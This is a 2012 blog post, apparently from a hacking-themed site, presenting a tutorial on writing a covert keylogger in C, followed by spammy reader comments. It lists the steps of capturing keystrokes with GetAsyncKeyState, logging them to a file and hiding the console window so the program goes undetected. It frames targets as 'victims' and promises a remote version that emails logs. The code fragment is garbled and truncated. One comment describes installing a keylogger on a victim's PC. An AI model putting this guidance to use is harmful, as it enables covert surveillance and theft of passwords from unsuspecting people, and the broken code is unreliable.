Saturday, September 1, 2012

How to code keylogger in C programming Language

How to code keylogger in C programming language : C codechamp has brought you a detailed tutorial on how to write a Keylogger code in C programming.
C program of Keylogger or keystroke loggerKeylogger is a computer program which captures all the key strokes pressed by user in real time. It captures all the keys and write them to some file say log.txt and stores it on computer hard disk. Now sending these logs to emails or FTP address depends upon the type of keylogger that is keylogger is remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, the only requirement is that victim must have internet connection. Today we will be writing a C program of Physical keylogger or Keystroke logger which requires physical access of the system. We will be extending our logic in further programs to make it remote keylogger which sends logs to FTP’s and Emails directly. So first of all lets see how simple keylogger program works…

C program of Keylogger or Keystroke logger

Algorithm for writing a Simple Keylogger :
1. Create an Empty log file for storing keylogs.
2. Intercept keys pressed by user using GetAsyncKeyState() function.
3.  Store these intercepted values in file.
4.  Hide the Running Window Dialog to make it undetectable.
5.  Use while loop to make it running in all conditions.
6.  Add Sleep() function to reduce the CPU usage to 0%.

Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and store these pressed keys in log file.

C program of Keylogger or keystroke logger :
using namespace std;

int main()
 bool runlogger = true;
 ofstream log;
 //where your logs will be stored"C:\\log.txt", ofstream::out);
 //displaying error message when unable to open file
   printf("Error in opening log.txt file\n");
  //Code for hiding running dialog
  HWND hideIt = FindWindow("ConsoleWindowClass",NULL);
  //Logic for capturing keystokes ........
To view the complete C program visit my website on C programming :

C program of Keylogger or keystroke logger | C codechamp

 Bookmark my website for Learning C programming like champs.


  1. hiiiiiiiiiiiiiiiii

  2. very informative post indeed.. being enrolled in was looking for such articles online to assist me.. and your post helped me a lot

  3. Great work. I am highly obliged that you are sharing such info with us. I would appreciate if you will post on daily basis and that too with good typical info which i didn't get from anywhere. I will be enrolling in I really appreciate your work

  4. Nice site and visit me :)

  5. Hello, sir i would like to ask that what is the scope of c programming, what all topics should be covered and it is kinda bothering me … and has anyone studied from this course of c programming language online ?? or tell me any other guidance...
    would really appreciate help… and Also i would like to thank for all the information you are providing on c programming.

  6. Hi,

    Can you tell the procedure to activate Tally 9 ERP Educational Mode to Licensed version?

  7. Hey Lokesh I need yourhelf I have Installed Keylogger in victims computer know how to monitor keylogger that i hav installed in victims pc.PLEASE REPLY on a b c s h a h r u k h @ g m a i l . c o m

  8. nice work i really impressed we done sir ji carry On....

  9. Hi, I do believe this is an excellent blog.

    I stumbledupon it ;) I will come back yet again
    since I bookmarked it. Money and freedom is the best way to
    change, may you be rich and continue to help others.

    Also visit my page: android tablets best (


Please do not spam.

Designed by Hackingloops.